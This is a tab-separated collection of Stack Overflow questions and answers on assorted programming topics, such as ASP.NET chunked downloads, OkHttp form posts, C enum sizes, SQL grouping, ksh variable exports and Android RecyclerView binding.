873995	0	ASP.NET downloading large files of unknown size <p>I want to use <a href="http://en.wikipedia.org/wiki/ASP.NET" rel="nofollow noreferrer">ASP.NET</a> and <a href="http://en.wikipedia.org/wiki/Internet_Information_Services" rel="nofollow noreferrer">IIS</a> to download dynamically generated files to the browser to be saved. I don't know the size of the file that will be generated.</p> <p>In the current form, my code generates data and uses HttpResponse.Write() to send to the client. But the client sees no activity for about a minute, before finally showing the save file dialog.</p> <p>By default, IIS buffers the output to be sent to the client. It is possible to turn this off, but that doesn't help in my case. The problem seems to be the way IIS chooses to format the packets.</p> <p>If the file size is known ahead of time, then I could set the Content-length in the header. If I turned off output buffering, then presumably, IIS can start sending to the client right away.</p> <p>But since I don't know the file size, IIS seems to be buffering the output until a certain limit is reached (packet size or time, I don't know), then sends a packet with Transfer-encoding set to chunked.</p> <p>I could try chunking the data myself, but is there a way to get IIS to perform the chunking, but with a smaller packet size so that the dialog shows sooner?</p>
37642748	0	 <p>Another approach is by using <code>FormBody.Builder()</code>.<br> Here's an example of callback:</p> <pre><code>Callback loginCallback = new Callback() { @Override public void onFailure(Call call, IOException e) { try { Log.i(TAG, "login failed: " + call.execute().code()); } catch (IOException e1) { e1.printStackTrace(); } } @Override public void onResponse(Call call, Response response) throws IOException { // String loginResponseString = response.body().string(); try { JSONObject responseObj = new JSONObject(response.body().string()); Log.i(TAG, "responseObj: " + responseObj); } catch (JSONException e) { e.printStackTrace(); } // Log.i(TAG, "loginResponseString: " + loginResponseString); } }; </code></pre> <p>Then, we create our own body:</p> <pre><code>RequestBody formBody = new FormBody.Builder() .add("username", userName) .add("password", password) .add("customCredential", "") .add("isPersistent", "true") .add("setCookie", "true") .build(); OkHttpClient client = new OkHttpClient.Builder() .addInterceptor(this) .build(); Request request = new Request.Builder() .url(loginUrl) .post(formBody) .build(); </code></pre> <p>Finally, we call the server:</p> <pre><code>client.newCall(request).enqueue(loginCallback); </code></pre>
3509650	0	 <p>Like most (all, maybe) C compilers, the size of an enumerated type can vary. Here's an example program and its output:</p> <pre><code>#include &lt;stdio.h&gt; typedef enum { val1 = 0x12 } type1; typedef enum { val2 = 0x123456789 } type2; int main(int argc, char **argv) { printf("1: %zu\n2: %zu\n", sizeof(type1), sizeof(type2)); return 0; } </code></pre> <p>Output:</p> <pre><code>1: 4 2: 8 </code></pre> <p>All that the standard requires is:</p> <blockquote> <p>The choice of type is implementation-defined, but shall be capable of representing the values of all the members of the enumeration.</p> </blockquote> <p>A quick web search didn't turn up a clang manual that specified its behaviour, but one is almost certainly out there somewhere.</p>
33937106	0	Web Components ready flag <p>We are using Web Components and Polymer on our site, and have quite a few bits of Javascript which wait for the <code>"WebComponentsReady"</code> event to be fired before executing. However, we have some asynchronous JS files which occasionally add an event listener for the event <em>after</em> it has been fired, meaning the script we want to run is never run.</p> <p>Does anyone know if there is a flag for Web Components being ready which can be checked?</p> <p>Something like this is what we would need:</p> <pre><code>if(WebComponents.ready) { // Does this flag, or something similar, exist?? // do stuff } else { document.addEventListener('WebComponentsReady', function() { // do stuff } } </code></pre> <p>Any help appreciated.</p>
24741710	0	date picker undefined is not a function <p>IM using the following code and I got error is the console undifinnd is not a function,what am I doing wrong here ?</p> <pre><code>&lt;script src="~/Scripts/jquery-2.1.1.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; $(function () { $('#datetime').datepicker(); }); &lt;/script&gt; </code></pre> <p>I've also try with and I got the same error...</p> <pre><code>$('#datetime')..datetimepicker(); </code></pre>
18080801	0	how to use LEFT JOIN in mysql? <p>sorry for this question </p> <p>sorry for this question sorry for this question </p>
23199426	0	 <p>You have an extra "," after Description. </p> <p>Just remove that comma and add ")" and a space.</p>
32721853	0	How to read .csv file from a different location in MATLAB? <p>I'm new to MATLAB, I've been fiddling around to import a .csv file which is on my desktop to MATLAB. I've already tried <code>csvread()</code> function as shown,</p> <pre><code>M = csvread(C:/Users/XYZ/Desktop/train.csv) </code></pre> <p>Please help. Thanks in advance.</p> <p><strong>EDIT:</strong></p> <p>My data is in the following format:</p> <pre><code>Id DV T1 T2 1 1 15 3 2 4 16 14 3 1 10 10 4 1 18 18 </code></pre>
40711410	0	SpamCop is blocking the emails sent through sparkpost <p>I am using laravel with the famous and popular laravel framework. </p> <p>I sent a couple emails to my gmail address and a clients email address, I received all of them. A client complaint that he didn't receive them, so I looked it up and saw this in </p> <p>550-"JunkMail rejected - mta65a.sparkpostmail.com [54.244.48.142]:58459 is in 550 an RBL, see Blocked - see <a href="http://www.spamcop.net/bl.shtml?54.244.48.142" rel="nofollow noreferrer">http://www.spamcop.net/bl.shtml?54.244.48.142</a>"</p> <blockquote> <p>SpamCop's blocking list works on a mail-server level. If your mail was blocked incorrectly it may be due to the actions of other users or technical flaws with the mail system you use. If you are not the administrator of your email system, please forward this information to them.</p> </blockquote> <p>I opened the detailed message and it said it is in the process of getting unblocked.</p> <p>When i checked again to write this post it stated that sparkpost was not any more blocked, but before it stated it was reported as spam 10 times in the last 8 or 80 days, something like that</p> <p>Now: what can I do about this? stop using sparkpost? I guess all mail services have the exact same problem</p> <p>what can my client do about this?</p>
20303592	0	 <p>With a RMI remote object you can't cast to the concrete class. You have to cast to the remote interface.</p>
27994558	0	GML -> check for a colliding instance's variable, then do action <p>I've been trying to do some GML scripting but got totally stuck at some point. I want enemies to attack my main character but without overlapping. So, I would say.</p> <pre><code>//enemy is moving left-to-right... if place_meeting(x+1, y, enemy){ //if there's a collision with another enemy if (other enemy).is_attacking{ // ??? // checks if the colliding enemy is attacking, if true, it should attack as well... is_attacking=true; }else{ //walks } </code></pre> <p>This is an image that describes what I'm trying to get (note that enemies know they should be attacking even though they're not in direct contact with the main character, just because an enemy besides is attacking)</p> <p><img src="https://i.stack.imgur.com/cZhpY.png" alt="What I&#39;m trying to get..."></p>
2779147	0	 <p>With a <strong>big assumption</strong> that <code>Value</code> only increases as the <code>Date</code> increases...</p> <pre><code>SELECT Symbol, MAX(Date) AS Date, MAX(Value) AS Value FROM YourTable GROUP BY Symbol </code></pre> <p>If that assumption can't be made, then there's a problem as you have no way to uniquely identify a row. If you have an IDENTITY column for example, you would find the record for each symbol with the latest Date, and the highest ID. Without the ID field, you don't actually know which record was the latest to be inserted (if there are 2 with the same Date), so have to do something like above.</p> <p><strong>If</strong> you will never have the same Date value for a given symbol (i.e. the symbol + Date together are unique) then you can do:</p> <pre><code>SELECT s.Symbol, s.Date, s.Value FROM YourTable s JOIN ( SELECT Symbol, MAX(Date) AS LatestDate FROM YourTable GROUP BY Symbol ) s2 ON s.Symbol = s2.Symbol AND s.Date = s2.LatestDate </code></pre> <p>That will then not matter if Value only ever increases over time.</p>
3004901	0	 <p>With just mod_rewrite you can't request files outside the document root. So the only solution is to use symlink located in document root directory and pointing to the modules directory.</p>
30356368	0	 <p>I think it is working as it is supposed to. </p> <p>In the mentioned case, event is directly attached to the button, hence currentTarget and target will always be the same. </p> <blockquote> <p><code>$('.container').on('click', '.myButton', function(event) {});</code> does not mean that the event is attached to the div. It is just delegating the event. Meaning, the event will bubble up only till <code>.container</code> and the event is still attached ONLY to <code>.myButton</code></p> </blockquote> <p><strong>Case 1:</strong> If an event is attached to the div </p> <ol> <li>if the button is clicked then the currentTarget would be button and target would be the div.</li> <li>if div is clicked currentTarget would be div and target would also be div</li> </ol> <p><strong>Example</strong></p> <p><div class="snippet" data-lang="js" data-hide="true"> <div class="snippet-code snippet-currently-hidden"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$('.container').on('click', function(event) { console.log(event.currentTarget); console.log(event.target); });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>div{ border: 1px solid; width: 150px; height: 150px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"&gt;&lt;/script&gt; &lt;div class="container"&gt; &lt;button class="myButton"&gt;Click Me&lt;/button&gt; Click me &lt;/div&gt;</code></pre> </div> </div> </p> <p><strong>Case 2: (Your case)</strong> If event is attached to button then currentTarget and target would be button always</p> <p><div class="snippet" data-lang="js" data-hide="true"> <div class="snippet-code snippet-currently-hidden"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$('.container').on('click','.myButton', function(event) { console.log(event.currentTarget); console.log(event.target); });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>div{ border: 1px solid; width: 150px; height: 150px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"&gt;&lt;/script&gt; &lt;div class="container"&gt; &lt;button class="myButton"&gt;Click Me&lt;/button&gt; Click me &lt;/div&gt;</code></pre> </div> </div> </p>
36170983	1	Using global variables in python in a function <pre><code>def foo(): global a a = 10 </code></pre> <p>vs</p> <pre><code>a = 0 def foo(): a = 10 </code></pre> <p>What is the use of declaring global in a function instead of declaring variables right at the top. It should be cleaner this way ?</p>
25860889	0	 <p>When you initially set up your controller, you should populate the labels and button text in a method that you call from viewDidLoad. When you want to "refresh" your view, to make it look like the initial condition, just call this method again. You don't need to reload the storyboard to do that.</p>
40187357	0	 <p>You seem to be asking if there is a better way to do this. Check out check_output. I have always found it much more convenient and fool proof compared to the lower level stuff in subprocess.</p>
33047013	0	 <p>Ksh93 doesn't have such expressions, so it's better to make it explicit. But you can bundle multiple variables (with their initial values) in a single <code>export</code> phrase:</p> <pre><code>export A=1 B=2 C=3 </code></pre> <p>Testing:</p> <pre><code>$ (export A=1 B=2 C=3 &amp;&amp; ksh -c 'echo A=$A B=$B C=$C D=$D') A=1 B=2 C=3 D= </code></pre> <p>There is no C-like shortcut, unless you want this ugly thing:</p> <pre><code>A=${B:=${C:=1}}; echo $A $B $C 1 1 1 </code></pre> <p>... which does not work with <code>export</code>, nor does it work when B or C are empty or non-existent.</p> <p><strong>Edit</strong></p> <p>Ksh93 <em>arithmetic</em> notation <strong>does</strong> actually support C-style chained assignments, but for obvious reasons, this only works with numbers, and you'll then have to do the <code>export</code> separately:</p> <pre><code>$ ((a=b=c=d=1234)) &amp;&amp; echo $a $b $c $d 1234 1234 1234 1234 $ export a b d $ ksh -c 'echo $a $b $c $d' 1234 1234 1234 </code></pre> <p>Note how we do not export <code>c</code>, and its value in the child shell is indeed empty.</p>
27364431	0	 <p>You can use <a href="http://docs.oracle.com/javase/7/docs/api/java/io/File.html#isDirectory%28%29" rel="nofollow"><code>File.isDirectory()</code></a> to test <em>whether the file denoted by this abstract pathname is a directory.</em> You can also use <a href="http://docs.oracle.com/javase/7/docs/api/java/io/File.html#isFile%28%29" rel="nofollow"><code>File.isFile()</code></a> to test <em>whether the file denoted by this abstract pathname is a <strong>normal</strong> file. A file is normal if it is not a directory and, in addition, satisfies other system-dependent criteria.</em></p> <pre><code>File f = new File(fileName); if (f.isFile()) { // it's a file. } else if (f.isDirectory()) { // it's a directory. } </code></pre>
15235011	0	 <p>Couple of ideas:</p> <ul> <li><p>If the rows in the text files have a modification timestamp, you could update your script to keep track of when it runs, and then only process the records that have been modified since the last run.</p></li> <li><p>If the rows in the text files have a field that can act as a primary key, you could maintain a fingerprint cache for each row, keyed by that id. Use this to detect when a row changes, and skip unchanged rows. I.e., in the loop that reads the text file, calculate the SHA1 (or whatever) hash of the whole row, and then compare that to the hash from your cache. If they match, the row hasn't changed, so skip it. Otherwise, update/insert the MySQL record and the store the new hash value in the cache. The cache could be a GDBM file, a memcached server, a fingerprint field in your MySQL tables, whatever. This will leave unchanged rows untouched (and thus still cached) on MySQL.</p></li> <li><p>Perform updates inside a transaction to avoid inconsistencies.</p></li> </ul>
4064564	0	 <p>Not really sure what the issue is here, sounds pretty simple though. I guess I'll add my 2 cents. First, unless youre looking for perform Inserts, Updates, or Deletes for these work times, I think a database is overkill for this.. look at using XML instead.</p> <p>Secondly, ASP.NET offers some pretty simple controls to display data like this. Check out the ASP.NET Repeater Control, which allow you to create a formatted header and footer, and repeate a templated item layout. Its pretty fast and effective, and definately in line for what youre looking for here.</p> <p>Best of luck</p>
3423974	0	How to convert char * to a System::string ^ <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/56561/what-is-the-best-way-to-convert-between-char-and-systemstring-in-c-cli">What is the best way to convert between char* and System::String in C++/CLI</a> </p> </blockquote> <p>Hello, I have a function in a c++ project using \clr something like:</p> <pre><code>int WINAPI dmtTest(char *pcertificate) { String^ sCertificate; sCertificate = pcertificate; // how can I assign pcertificate to sCertificate? .... } </code></pre>
40381215	0	Laravel 5.3 npm gulp not creating output files <p>I am using Laravel 5.3, node version: 5.7 and npm version: 3.6.</p> <p>When I run the <code>gulp</code> (or even <code>gulp watch</code>) command I get the same output in terminal as I normally get, everything looks like it should, and it even tells me that it has written to the public/css folder <em>(image below)</em>. Navigating to the folder I can see no changes were made to the previous app.css file.<br> When I delete the file, the css directory remains empty after the gulp commands. </p> <p>This is my gulpfile.js</p> <pre><code>const elixir = require('laravel-elixir'); require('laravel-elixir-vue-2'); elixir(mix =&gt; { mix.sass('app.scss') .webpack('app.js'); }); </code></pre> <p>This is the output I get in the terminal (iTerm on mac OSX): <a href="https://i.stack.imgur.com/8kMlg.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8kMlg.png" alt="enter image description here"></a></p> <p>But lik I said, the public folder remains empty. I can't tell for sure that I updated node or npm or not.. But I don't think I have. </p> <p>Thanks for the help.</p> <hr> <p><strong>EDIT:</strong> deleting the <code>node-modules</code> folder and running <code>npm install</code> again gives another error.. One I have never seen before: <a href="https://i.stack.imgur.com/ecvG0.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ecvG0.png" alt="enter image description here"></a></p>
5637642	0	Need help understanding how to version an iOS app <p>In Xcode I have <code>Bundle Version</code> and <code>Bundle Version string, short</code>. There is also a version in iTunes Connect. Just trying to see what I should use for each one and which one iOS uses to determine the version of the app so that a newer version properly replaces and older version.</p>
19115225	0	 <p>See this example: <a href="http://www.overpie.com/css/articles/css-vertical-fly-out-menu" rel="nofollow">http://www.overpie.com/css/articles/css-vertical-fly-out-menu</a></p> <p>I would recommend not to use line-height, as if you have long text, you will have trouble. </p>
23674649	0	How to embed youtube channel with thumbnails with over 4000 videos <p>I am trying to embed a youtube channel onto a website with thumbnails for customer, but it tells me that i can only embed up to 500 videos.</p> <p>The channel has over 4000 videos and need them all embedded!</p> <p>Is this possible?</p> <p>Hope to hear from someone soon!</p> <p>Jordan</p>
24034942	0	Windows Azure: importing data from Excel sheet? <p>I have a Windows Azure mobile service with a sql database.</p> <p>I was wondering if it's possible to insert records from an excel sheet to an azure database table.</p> <p>in other words, I have an excel sheet with many data records, I want to export the records to a database table.</p> <p>is there any tool/service/SDK that provides this ?</p>
27841834	0	pattern recognition in a time series <p>I understand that the question I am asking seem the be somewhat related to another question which has been asked already <a href="http://dsp.stackexchange.com/questions/966/pattern-recognition-for-temporal-data">here</a> and <a href="http://stackoverflow.com/questions/11752727/pattern-recognition-in-time-series">here</a>. </p> <p>But I feel that this is an entirely different question. (I have also <a href="http://dsp.stackexchange.com/questions/19896/pattern-recognition-in-a-time-series">submitted this question</a> on the dsp.stackexchange)</p> <p>I have a huge (over 100K data points) time series data of the position (x, y coordinates) of an element in space. This element is vibrating randomly, and both amplitude and the frequency of vibration is random. I want to look at the events which are similar and see if there is any pattern in those events, are they periodic or related somehow.</p> <p>I am working on a biological problem and have very little knowledge about signal processing. I can provide more details. Any help would be really appreciated.</p>
39929812	0	How to Run Code at iOS 10 Local Notification Runtime <p>I'm trying to schedule a local notification with a different attachement each day, however the code to find the correct daily attachment seems to run at notification creation rather than runtime, how do I set it to run at runtime. </p> <p>//Setup</p> <pre><code>print("Value of Consts: \(Consts.isGrantedNotificationAccess)") if Consts.isGrantedNotificationAccess { let center = UNUserNotificationCenter.current() center.removeAllPendingNotificationRequests() center.removePendingNotificationRequests(withIdentifiers:[dayRequest]) let content = NotificationContent(title: "Daily Reminder", subTitle: " ", body: " ") let name = Helpers.getImageName() guard let url = Helpers.saveImage(name: "\(name).png") else { print("Error not URL") return } let attachment = try? UNNotificationAttachment(identifier: Consts.imageIdentifier, url: url, options: [:]) if let attachment = attachment { content.attachments.append(attachment) } let hour = DatePicker.calendar.component(.hour, from: DatePicker.date) let minute = DatePicker.calendar.component(.minute, from: DatePicker.date) var dateComponents = DateComponents() dateComponents.hour = hour dateComponents.minute = minute let trigger = UNCalendarNotificationTrigger(dateMatching: dateComponents, repeats: true) //set the request let request = UNNotificationRequest(identifier: dayRequest, content: content, trigger: trigger) //add the notification UNUserNotificationCenter.current().add(request) { error in UNUserNotificationCenter.current().delegate = self if (error != nil){ //handle here print(error) } } self.dismiss(animated: true, completion: nil) } </code></pre> <p>The Helper.getImageName() returns an image name based on the date, now the current notification shows the same image each day, as the code runs at notification creation, is there any way to make the code run at notification runtime?</p>
38031842	0	 <p><strong>In short, the less work you do in the <code>onBindViewHolder()</code> method, the better the performance of your list view scrolling.</strong></p> <p>The most efficient implementation would simply take the data from the model that is passed and simply set it to the view holder.</p> <p>Since all of this work in the <code>onBindViewHolder()</code> method is done on the UI thread, offloading any additional work either prior to the binding or offloaded to anthoer thread is beneficial to list view performance.</p> <p><strong>For example</strong>, lets say that you have a list that contains a bunch of tasks as below:</p> <pre><code>class Task { Date dateDue; String title; String description; // getters and setters here } </code></pre> <p>Each task has a title, description and a due date associate with it. As a requirement for your app, if the today's date is before the due date, the row should be green and if passed the due date, it should be red. Also the <code>Task</code> object associated with it requires some special date formatting before setting it to the view.</p> <p>There are two things that will be done in this <code>onBindViewHolder()</code> as each row is rendered onto the screen:</p> <ul> <li>You will need to conditionally check each date and compare it against today's date</li> <li>You will need to apply a date formatter to get the view the date in the required specification:</li> </ul> <p>e.g.</p> <pre><code>class MyRecyclerView.Adapter extends RecyclerView.Adapter { static final TODAYS_DATE = new Date(); static final DATE_FORMAT = new SimpleDateFormat("MM dd, yyyy"); public onBindViewHolder(Task.ViewHolder tvh, int position) { Task task = getItem(position); if (TODAYS_DATE.compareTo(task.dateDue) &gt; 0) { tvh.backgroundView.setColor(Color.GREEN); } else { tvh.backgroundView.setColor(Color.RED); } String dueDateFormatted = DATE_FORMAT.format(task.getDateDue()); tvh.dateTextView.setDate(dueDateFormatted); } } </code></pre> <p>In the above, for every row that is rendered, a date comparison is being made. While we were at it, we even took the liberty to make today's date a constant – object creation is possibly one of the most expensive things you can do in a <code>onBindViewHolder()</code> so any optimization is appreciated. Additionally, the date that is passed in the <code>Task</code> object was not in the proper format so it is formatted that on-the-fly as well.</p> <p>Although this example is <em>trivial</em>, this can quickly balloon into halting the list view scrolling to a crawl. The better way of doing this is to pass an intermediary object, such as a <em>view model</em> that represents the state of the view instead of the actual business model instead.</p> <p>Instead of passing your <code>Task</code> as the model to the adapter, we create an intermediatary model called <code>TaskViewModel</code> that is created and set to the adapter. Now before setting any information is sent to the adapter, all of the work is done before any view rendering is applied. This comes at the cost of longer initialization time prior to sending data to your <code>RecyclerView</code> but at the better trade-off of list view performance.</p> <p>This view model instead could be:</p> <pre><code>public class TaskViewModel { int overdueColor; String dateDue; } </code></pre> <p>Now when tasked to bind the data to the view, we have the actual view state being represented in the view model and our UI thread can continue to be jank free.</p> <pre><code>public onBindViewHolder(Task.ViewHolder tvh, int position) { TaskViewModel taskViewModel = getItem(position); tvh.backgroundView.setColor(taskViewModel.getOverdueColor()); tvh.dateTextView.setDate(taskViewModel.getDateDue()); } </code></pre>
8220000	0	 <p>You should take a different approach here. Instead of trying to "cancel" the behavior you already applied, why not just use it only in browsers where you need it? Wich means taking it out of your main.css file and only using it like this:</p> <pre><code>&lt;!--[if IE 8]&gt; &lt;style&gt; Here goes all your behavior calls : some_selector { behavior: url(PIE.htc); } &lt;/style&gt; &lt;![endif]--&gt; </code></pre> <p>That way you won't need to overwrite them anywhere else, they will only be applied in IE 8.</p>
18562511	0	g++ Internal compiler error in small program <p>I am writing a small program to solve Project Euler <a href="https://projecteuler.net/problem=21" rel="nofollow">Problem 21</a>, and I was testing out the early parts of my code when I ran into an unexplained internal compiler error. I'd appreciate any tips on how to re-write my program to avoid this kind of error.</p> <p>Here's my build command and compiler options:</p> <pre><code>g++ -std=c++11 -O2 -Wall -o "pe_021" "pe_021.cc" </code></pre> <p>Here's the error that I get:</p> <pre><code>Internal compiler error: Error reporting routines re-entered. Compilation failed. </code></pre> <p>Here's my code:</p> <pre><code>#include &lt;array&gt; #include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;vector&gt; using namespace std; const unsigned int N = 10000; //look for amicable numbers smaller than N vector&lt;unsigned int&gt; list_of_primes; vector&lt;unsigned int[2]&gt; prime_factorize(unsigned int); int main(int argc, char **argv) { //import a list of primes ifstream ifs ("primes_10000.txt"); for (unsigned int index = 0; index &lt; N; index++) { string prime_number; getline(ifs, prime_number); list_of_primes.push_back(stoi(prime_number)); } ifs.close(); //test prime factorization function by prime factorizing 12 vector&lt;unsigned int[2]&gt; prime_factorization = prime_factorize(12); for(unsigned int (&amp;prime_and_exponent)[2] : prime_factorization) { cout &lt;&lt; prime_and_exponent[0] &lt;&lt; ", " &lt;&lt; prime_and_exponent[1] &lt;&lt; endl; } return 0; } vector&lt;unsigned int[2]&gt; prime_factorize(unsigned int number) { vector&lt;unsigned int[2]&gt; prime_factorization; for(unsigned int index = 1; index &lt; list_of_primes.size(); index++) { if(number % list_of_primes[index] == 0) { unsigned int prime_and_exponent[2] = {list_of_primes[index], 1}; prime_factorization.push_back(prime_and_exponent); number /= list_of_primes[index]; while(number % list_of_primes[index] == 0) { prime_factorization.back()[1]++; number /= list_of_primes[index]; } } if(number == 1) { break; } } return prime_factorization; } </code></pre>
33610688	0	Deploying Activiti workflow to OSGI(Felix) <p>I have developed a activiti workflow, I am trying to call the workflow through the code from an OSGI bundle but it gives the dependency errors. What would be the correct way to deploy the workflow into OSGI container?</p>
5376186	0	Should browsers automatically fetch images when src is dynamically redefined, w/o ajax? <p>I've noticed that when an image source attribute is dynamically changed (in my case, using jQuery), even if the image has never been called/cached by the browser (i.e. not pre-loaded), the browser still fetches it -- and without ajax. This has been working for me in all 5 major browsers (ie7+).</p> <p>Question: Is this a formally standardized behavior that I could rely on, indefinitely?</p>
40333401	0	 <p>I copy/pasted your code in my IDE and ran but no problem here! so it's very strange that when you create object B, you get error that object A method (a::helloB()) does'n exist! If you put whole codes (inclusive dbData) i am willing to try it again.. </p>
23617667	0	 <p>I'm not sure how you're expecting it to work, but I modified your HTML and JS to get something that I think works how you want: </p> <pre><code>&lt;ul id="accordion"&gt; &lt;li&gt; &lt;div style="background-color: rgb(109, 129, 27);" class="expand" title="Click to Expand"&gt;Zoos &lt;ul class="sortCat1" id="zoo"&gt; &lt;li id="1"&gt;&lt;a href="#"&gt;1&lt;/a&gt;&lt;/li&gt; &lt;li id="2"&gt;&lt;a href="#"&gt;2&lt;/a&gt;&lt;/li&gt; &lt;li id="3"&gt;&lt;a href="#"&gt;3&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;div style="background-color: rgb(109, 129, 27);" title="Click to Expand" class="expand"&gt;Attractions &lt;ul class="sortCat2" id="attractions"&gt; &lt;li id="1"&gt;&lt;a href="#"&gt;1&lt;/a&gt;&lt;/li&gt; &lt;li id="2"&gt;&lt;a href="#"&gt;2&lt;/a&gt;&lt;/li&gt; &lt;li id="3"&gt;&lt;a href="#"&gt;3&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;div style="background-color: rgb(109, 129, 27);" title="Click to Expand" class="expand"&gt;Dining &amp;amp; Shopping &lt;ul class="sortCat3" id="dinShop"&gt; &lt;li id="1"&gt;&lt;a href="#"&gt;1&lt;/a&gt;&lt;/li&gt; &lt;li id="2"&gt;&lt;a href="#"&gt;2&lt;/a&gt;&lt;/li&gt; &lt;li id="3"&gt;&lt;a href="#"&gt;3&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/li&gt; </code></pre> <p></p> <pre><code>$(".expand").each(function() { if($('ul', this).attr('id') != "attractions") { $(this).css({'display': 'none'}); } }); </code></pre>
37226802	0	 <ol> <li><p>Use repmat in order to concat 3 copies of your matrix horizontally.</p></li> <li><p>Use the Matlab's assignment syntax: A(row,col:col+length(x)-1) in order to copy x into the desired row and col.</p></li> </ol> <p>Code example:</p> <pre><code>outA = repmat(A,1,3); %replicate A outA(2,1:length(x)) = x; %inserts x into the beginning of the 2nd row outA(4,size(outA,2)-length(x)+1:end) = x; %inserts x into the end of the 4th row </code></pre> <p>Results:</p> <pre><code>outA = 1.1 2.2 3.1 4.1 5.3 1.2 1.3 1.1 2.2 3.1 4.1 5.3 1.2 1.3 1.1 2.2 3.1 4.1 5.3 1.2 1.3 1.0 2.0 3.0 4.0 5.0 6.0 7.0 3.1 4.2 1.1 7.4 5.6 2.2 1.3 3.1 4.2 1.1 7.4 5.6 2.2 1.3 1.4 5.2 4.3 2.2 4.3 3.2 1.3 1.4 5.2 4.3 2.2 4.3 3.2 1.3 1.4 5.2 4.3 2.2 4.3 3.2 1.3 1.6 3.2 6.3 2.1 2.6 7.2 1.3 1.6 3.2 6.3 2.1 2.6 7.2 1.3 1.0 2.0 3.0 4.0 5.0 6.0 7.0 6.1 1.3 9.4 4.2 3.3 1.2 1.3 6.1 1.3 9.4 4.2 3.3 1.2 1.3 6.1 1.3 9.4 4.2 3.3 1.2 1.3 2.5 4.2 3.2 5.1 6.7 1.2 1.3 2.5 4.2 3.2 5.1 6.7 1.2 1.3 2.5 4.2 3.2 5.1 6.7 1.2 1.3 </code></pre>
38391048	0	 <p>Just change this part of code to format table instead just bold text:</p> <pre><code>... var html = "&lt;table&gt;"; html += "&lt;thead&gt;&lt;tr&gt;&lt;th&gt;UID&lt;/th&gt;&lt;th&gt;First Name&lt;/th&gt;&lt;th&gt;Last Name&lt;/th&gt;&lt;th&gt;Email&lt;/th&gt;&lt;th&gt;Username&lt;/th&gt;&lt;th&gt;Password&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;"; html += "&lt;tbody&gt;"; for(var i = 0; i &lt; data.length; i++){ html += "&lt;tr&gt;"; var uid = data[i].uid; var firstname = data[i].firstname; var lastname = data[i].lastname; var email = data[i].email; var username = data[i].username; var password = data[i].password; html += "&lt;td&gt;"+uid+"&lt;/td&gt;&lt;td&gt;"+firstname+"&lt;/td&gt;&lt;td&gt;"+lastname+"&lt;/td&gt;&lt;td&gt;"+email+"&lt;/td&gt;&lt;td&gt;"+username+"&lt;/td&gt;&lt;td&gt;"+password+"&lt;/td&gt;&lt;/tr&gt;"; } html +="&lt;/tbody&gt;&lt;/table&gt;"; ... </code></pre>
5717228	0	 <p>Check the javadoc for the <code>set</code> method. You'll see the following:</p> <blockquote> <p>Parameters:</p> <p>year - the value used to set the YEAR calendar field.</p> <p>month - the value used to set the MONTH calendar field. Month value is 0-based. e.g., 0 for January.</p> <p>date - the value used to set the DAY_OF_MONTH calendar field.</p> </blockquote> <p>So your code should become the following:</p> <pre><code>private static int getWeekOfYear(int y, int m, int d) { Calendar cal = Calendar.getInstance(); cal.setMinimalDaysInFirstWeek(4); cal.set(y, m - 1, d); // Note the change here return cal.get(Calendar.WEEK_OF_YEAR); } </code></pre>
39925758	0	Getting duplicate rows on subquery <p>So this has been bothering me for some time because I feel like in MSSQL this query would run just fine but at my new job I am forced to use Oracle. I have a subselect in a query where I want to find all of the people not assigned to a survey. My query is as follows:</p> <pre><code>Select distinct * From GetAllUsers, getperms Where id not in (getperms.users) and Survey_ID = '1' </code></pre> <p>If there are three users in the getperms table I get three rows for each person in the the GETALLUsers table.</p> <p>I guess I could do some kind of join and that's no problem, it's just really bothering me that this doesn't work when i think that it should.</p>
9376341	0	how to tag people in a facebook album via the graph API (php) <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/3017861/how-can-i-tag-a-user-in-a-photo-using-the-facebook-graph-api">How can I tag a user in a photo using the Facebook Graph API?</a> </p> </blockquote> <p>As title says, how can i tag people via the Facebook graph API on an existing album?</p>
39269948	0	 <p>The shell builtin <code>kill</code> or the external one <code>/bin/kill</code> does not take Process ID (or Job ID) via standard input stream. You need to pass them as argument to <code>kill</code>, so:</p> <pre><code>kill -- $(&lt;ff) </code></pre> <p>should do.</p> <p>If you want to kill them one by one and doing something in between, you can create an array with the pids and iterate over them:</p> <pre><code>pids=( $(&lt;file.txt) ) &amp;&amp; for i in "${pids[@]}"; do echo "killing $i"; kill -- "$i"; done </code></pre>
9553619	0	 <p>A very simple way would be to change the Flash movie in this manner:</p> <p>When the movie loads (in the load listener in AS), add this</p> <pre><code>if(ExternalInterface.available) { ExternalInterface.call(flashReady); } </code></pre> <p>and in the javascript, have a function called flashReady which does the thing it needs to</p> <pre><code>function flashReady() { //Your awesome function body here } </code></pre>
22497591	0	 <p>That's a huge file to be importing through PHP (which in turn forces resource limits upon phpMyAdmin); if you have command-line access I highly recommend loading it through the <code>mysql</code> command line tool. If you don't, try using the phpMyAdmin <a href="http://docs.phpmyadmin.net/en/latest/config.html#cfg_UploadDir" rel="nofollow">UploadDir function</a> or see these <a href="http://docs.phpmyadmin.net/en/latest/faq.html#i-cannot-upload-big-dump-files-memory-http-or-timeout-problems" rel="nofollow">other suggestions</a>.</p>
35055284	0	 <p>Closing curly bracket <code>}</code> is misplaced to bottom for function <code>volcano_theme_options()</code>. Check and fix that.</p>
